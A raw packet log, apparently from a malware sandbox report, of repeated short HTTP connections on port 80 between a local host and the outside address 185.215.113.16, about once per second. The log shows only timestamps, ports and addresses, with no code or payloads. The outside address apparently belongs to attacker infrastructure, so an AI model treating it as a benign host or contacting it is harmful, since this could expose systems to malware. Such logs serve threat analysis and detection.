Sep 27, 2024 08:41:37.309089899 CEST	80	53683	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:37.309304953 CEST	53683	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:37.422447920 CEST	53683	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:37.423017979 CEST	53684	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:37.427649021 CEST	80	53683	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:37.427879095 CEST	80	53684	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:37.427985907 CEST	53683	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:37.428076982 CEST	53684	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:37.428280115 CEST	53684	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:37.433123112 CEST	80	53684	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:38.118551016 CEST	80	53684	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:38.121882915 CEST	53684	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:38.125179052 CEST	53684	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:38.130045891 CEST	80	53684	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:38.346129894 CEST	80	53684	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:38.346261024 CEST	53684	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:38.455945969 CEST	53684	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:38.456429958 CEST	53685	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:38.461124897 CEST	80	53684	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:38.461253881 CEST	53684	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:38.461282015 CEST	80	53685	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:38.461360931 CEST	53685	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:38.461518049 CEST	53685	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:38.466353893 CEST	80	53685	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:39.167851925 CEST	80	53685	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:39.168025970 CEST	53685	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:39.169132948 CEST	53685	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:39.174117088 CEST	80	53685	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:39.684541941 CEST	80	53685	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:39.684638023 CEST	80	53685	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:39.684644938 CEST	53685	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:39.685029030 CEST	53685	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:39.797272921 CEST	53685	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:39.797854900 CEST	53686	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:39.802800894 CEST	80	53685	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:39.802851915 CEST	80	53686	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:39.802942991 CEST	53685	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:39.802983046 CEST	53686	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:39.803195953 CEST	53686	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:39.807985067 CEST	80	53686	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:40.658236027 CEST	80	53686	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:40.658302069 CEST	53686	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:40.659076929 CEST	53686	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:40.663918972 CEST	80	53686	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:40.900990009 CEST	80	53686	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:40.901058912 CEST	53686	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:41.015840054 CEST	53686	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:41.016199112 CEST	53687	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:41.020971060 CEST	80	53686	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:41.021039963 CEST	80	53687	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:41.021040916 CEST	53686	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:41.021147966 CEST	53687	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:41.021311045 CEST	53687	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:41.026108980 CEST	80	53687	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:41.718357086 CEST	80	53687	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:41.719947100 CEST	53687	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:41.720546961 CEST	53687	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:41.725416899 CEST	80	53687	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:41.943465948 CEST	80	53687	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:41.943852901 CEST	53687	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:42.047406912 CEST	53687	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:42.047657967 CEST	53688	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:42.052643061 CEST	80	53688	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:42.052730083 CEST	53688	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:42.052783966 CEST	80	53687	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:42.052840948 CEST	53687	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:42.052902937 CEST	53688	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:42.057832003 CEST	80	53688	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:42.864432096 CEST	80	53688	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:42.864502907 CEST	53688	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:42.865288019 CEST	53688	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:42.870143890 CEST	80	53688	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:43.087995052 CEST	80	53688	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:43.088063955 CEST	53688	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:43.203300953 CEST	53688	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:43.203659058 CEST	53689	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:43.208579063 CEST	80	53689	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:43.208703041 CEST	53689	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:43.208861113 CEST	53689	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:43.208915949 CEST	80	53688	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:43.208972931 CEST	53688	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:43.213757038 CEST	80	53689	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:43.918236017 CEST	80	53689	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:43.922149897 CEST	53689	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:43.922761917 CEST	53689	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:43.927634001 CEST	80	53689	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:44.148511887 CEST	80	53689	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:44.148619890 CEST	53689	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:44.250305891 CEST	53689	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:44.250612974 CEST	53690	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:44.255507946 CEST	80	53690	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:44.255625963 CEST	53690	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:44.255667925 CEST	80	53689	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:44.255726099 CEST	53689	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:44.255822897 CEST	53690	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:44.260613918 CEST	80	53690	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:44.964474916 CEST	80	53690	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:44.964596987 CEST	53690	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:44.976711988 CEST	53690	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:44.981626034 CEST	80	53690	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:45.206270933 CEST	80	53690	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:45.206351995 CEST	53690	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:45.312939882 CEST	53690	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:45.313257933 CEST	53691	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:45.319763899 CEST	80	53691	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:45.319875956 CEST	53691	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:45.320103884 CEST	80	53690	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:45.320173025 CEST	53690	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:45.321666002 CEST	53691	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:45.328167915 CEST	80	53691	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:46.028835058 CEST	80	53691	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:46.028884888 CEST	53691	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:46.031699896 CEST	53691	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:46.036489010 CEST	80	53691	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:46.262418032 CEST	80	53691	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:46.262573004 CEST	53691	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:46.375391960 CEST	53691	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:46.375765085 CEST	53692	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:46.380526066 CEST	80	53691	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:46.380599976 CEST	53691	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:46.380642891 CEST	80	53692	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:46.380737066 CEST	53692	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:46.380853891 CEST	53692	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:46.385624886 CEST	80	53692	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:47.098800898 CEST	80	53692	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:47.099816084 CEST	53692	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:47.100455999 CEST	53692	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:47.105230093 CEST	80	53692	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:47.330893040 CEST	80	53692	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:47.333856106 CEST	53692	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:47.438463926 CEST	53692	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:47.438776016 CEST	53693	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:47.443680048 CEST	80	53692	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:47.443696022 CEST	80	53693	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:47.443738937 CEST	53692	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:47.443769932 CEST	53693	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:47.443898916 CEST	53693	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:47.448657036 CEST	80	53693	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:48.173223972 CEST	80	53693	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:48.173280954 CEST	53693	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:48.173963070 CEST	53693	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:48.180486917 CEST	80	53693	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:48.603090048 CEST	80	53693	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:48.606894970 CEST	53693	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:48.718911886 CEST	53693	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:48.719219923 CEST	53694	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:48.723992109 CEST	80	53693	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:48.724009037 CEST	80	53694	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:48.724083900 CEST	53693	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:48.724117994 CEST	53694	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:48.724303007 CEST	53694	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:48.729034901 CEST	80	53694	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:49.413585901 CEST	80	53694	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:49.415828943 CEST	53694	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:49.416544914 CEST	53694	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:49.421406984 CEST	80	53694	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:49.639203072 CEST	80	53694	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:49.639256954 CEST	53694	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:49.750261068 CEST	53694	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:49.750595093 CEST	53695	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:50.002224922 CEST	80	53695	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:50.002352953 CEST	53695	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:50.002382994 CEST	80	53694	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:50.002443075 CEST	53694	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:50.002728939 CEST	53695	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:50.008121014 CEST	80	53695	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:50.710978985 CEST	80	53695	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:50.711064100 CEST	53695	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:50.715487957 CEST	53695	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:50.720223904 CEST	80	53695	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:50.945640087 CEST	80	53695	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:50.945748091 CEST	53695	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:51.047204018 CEST	53695	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:51.047583103 CEST	53696	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:51.052526951 CEST	80	53696	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:51.052611113 CEST	53696	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:51.052644968 CEST	80	53695	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:51.052695036 CEST	53695	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:51.052850962 CEST	53696	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:51.057636023 CEST	80	53696	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:51.768160105 CEST	80	53696	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:51.768225908 CEST	53696	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:51.769032001 CEST	53696	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:51.969607115 CEST	80	53696	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:52.185519934 CEST	80	53696	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:52.185594082 CEST	53696	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:52.299652100 CEST	53696	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:52.300034046 CEST	53697	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:52.304672956 CEST	80	53696	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:52.304744959 CEST	53696	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:52.304790974 CEST	80	53697	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:52.304862022 CEST	53697	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:52.305027962 CEST	53697	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:52.309747934 CEST	80	53697	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:53.605277061 CEST	80	53697	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:53.605374098 CEST	53697	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:53.605401993 CEST	80	53697	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:53.605456114 CEST	80	53697	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:53.605472088 CEST	53697	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:53.605504036 CEST	53697	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:53.606184006 CEST	53697	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:53.614335060 CEST	80	53697	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:53.836357117 CEST	80	53697	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:53.836435080 CEST	53697	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:53.937716007 CEST	53697	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:53.938159943 CEST	53698	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:53.942958117 CEST	80	53697	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:53.942971945 CEST	80	53698	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:53.943021059 CEST	53697	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:53.943058968 CEST	53698	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:53.943285942 CEST	53698	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:53.948076010 CEST	80	53698	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:54.735652924 CEST	80	53698	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:54.735730886 CEST	53698	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:54.736474037 CEST	53698	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:54.741270065 CEST	80	53698	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:54.965523005 CEST	80	53698	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:54.965601921 CEST	53698	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:55.078391075 CEST	53698	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:55.078705072 CEST	53699	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:55.083734035 CEST	80	53699	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:55.083888054 CEST	80	53698	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:55.083988905 CEST	53698	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:55.084011078 CEST	53699	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:55.084219933 CEST	53699	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:55.089018106 CEST	80	53699	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:55.824083090 CEST	80	53699	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:55.824193954 CEST	53699	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:55.825264931 CEST	53699	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:55.830043077 CEST	80	53699	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:56.053215027 CEST	80	53699	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:56.053308964 CEST	53699	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:56.173564911 CEST	53699	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:56.174247980 CEST	53700	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:56.178802013 CEST	80	53699	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:56.178870916 CEST	53699	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:56.179044008 CEST	80	53700	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:56.179466963 CEST	53700	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:56.179466963 CEST	53700	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:56.184288979 CEST	80	53700	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:56.891860962 CEST	80	53700	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:56.894040108 CEST	53700	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:56.897488117 CEST	53700	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:56.902324915 CEST	80	53700	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:57.123625994 CEST	80	53700	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:57.125058889 CEST	53700	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:57.235025883 CEST	53700	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:57.235460043 CEST	53701	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:57.240387917 CEST	80	53700	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:57.240413904 CEST	80	53701	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:57.240506887 CEST	53700	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:57.240566015 CEST	53701	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:57.240823984 CEST	53701	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:57.245613098 CEST	80	53701	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:57.962990046 CEST	80	53701	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:57.963072062 CEST	53701	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:57.968017101 CEST	53701	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:57.972814083 CEST	80	53701	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:58.198936939 CEST	80	53701	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:58.199053049 CEST	53701	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:58.313200951 CEST	53701	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:58.313612938 CEST	53702	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:58.318696976 CEST	80	53702	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:58.318727016 CEST	80	53701	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:58.318836927 CEST	53702	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:58.318901062 CEST	53701	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:58.319080114 CEST	53702	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:58.323815107 CEST	80	53702	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:59.045985937 CEST	80	53702	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:59.047919035 CEST	53702	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:59.050137997 CEST	53702	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:59.055052996 CEST	80	53702	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:59.285262108 CEST	80	53702	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:59.286053896 CEST	53702	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:59.429984093 CEST	53702	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:59.434854031 CEST	53703	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:59.435106039 CEST	80	53702	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:59.435167074 CEST	53702	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:59.439737082 CEST	80	53703	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:59.440045118 CEST	53703	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:59.745620966 CEST	53703	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:59.750566959 CEST	80	53703	185.215.113.16	192.168.2.4
Sep 27, 2024 08:42:00.140475988 CEST	80	53703	185.215.113.16	192.168.2.4
Sep 27, 2024 08:42:00.140544891 CEST	53703	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:42:00.141350031 CEST	53703	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:42:00.146133900 CEST	80	53703	185.215.113.16	192.168.2.4
Sep 27, 2024 08:42:00.367666006 CEST	80	53703	185.215.113.16	192.168.2.4
Sep 27, 2024 08:42:00.367837906 CEST	53703	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:42:00.468919039 CEST	53703	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:42:00.469309092 CEST	53704	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:42:00.474158049 CEST	80	53704	185.215.113.16	192.168.2.4
Sep 27, 2024 08:42:00.474217892 CEST	80	53703	185.215.113.16	192.168.2.4
Sep 27, 2024 08:42:00.474244118 CEST	53704	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:42:00.474282980 CEST	53703	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:42:00.474468946 CEST	53704	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:42:00.479238987 CEST	80	53704	185.215.113.16	192.168.2.4
Sep 27, 2024 08:42:01.174871922 CEST	80	53704	185.215.113.16	192.168.2.4
Sep 27, 2024 08:42:01.174983025 CEST	53704	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:42:01.175734997 CEST	53704	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:42:01.180541992 CEST	80	53704	185.215.113.16	192.168.2.4
Sep 27, 2024 08:42:01.396397114 CEST	80	53704	185.215.113.16	192.168.2.4
Sep 27, 2024 08:42:01.396522999 CEST	53704	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:42:01.500355959 CEST	53704	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:42:01.500658035 CEST	53705	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:42:01.505513906 CEST	80	53704	185.215.113.16	192.168.2.4
Sep 27, 2024 08:42:01.505548000 CEST	80	53705	185.215.113.16	192.168.2.4
Sep 27, 2024 08:42:01.505592108 CEST	53704	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:42:01.505661011 CEST	53705	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:42:01.505740881 CEST	53705	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:42:01.510453939 CEST	80	53705	185.215.113.16	192.168.2.4
Sep 27, 2024 08:42:02.221412897 CEST	80	53705	185.215.113.16	192.168.2.4
Sep 27, 2024 08:42:02.221496105 CEST	53705	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:42:02.245461941 CEST	53705	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:42:02.250397921 CEST	80	53705	185.215.113.16	192.168.2.4
Sep 27, 2024 08:42:02.478046894 CEST	80	53705	185.215.113.16	192.168.2.4
Sep 27, 2024 08:42:02.480051994 CEST	53705	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:42:02.594182968 CEST	53705	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:42:02.594449043 CEST	53706	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:42:02.599298954 CEST	80	53706	185.215.113.16	192.168.2.4
Sep 27, 2024 08:42:02.599380016 CEST	53706	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:42:02.599476099 CEST	53706	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:42:02.599554062 CEST	80	53705	185.215.113.16	192.168.2.4
Sep 27, 2024 08:42:02.599613905 CEST	53705	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:42:02.905877113 CEST	53706	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:42:02.957334042 CEST	80	53705	185.215.113.16	192.168.2.4
Sep 27, 2024 08:42:02.957438946 CEST	53705	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:42:02.957627058 CEST	80	53706	185.215.113.16	192.168.2.4
Sep 27, 2024 08:42:02.957640886 CEST	80	53706	185.215.113.16	192.168.2.4
Sep 27, 2024 08:42:02.962227106 CEST	80	53705	185.215.113.16	192.168.2.4
Sep 27, 2024 08:42:03.702111006 CEST	80	53706	185.215.113.16	192.168.2.4
Sep 27, 2024 08:42:03.702409029 CEST	53706	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:42:03.710588932 CEST	53706	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:42:03.711297989 CEST	53707	80	192.168.2.4	185.215.113.16
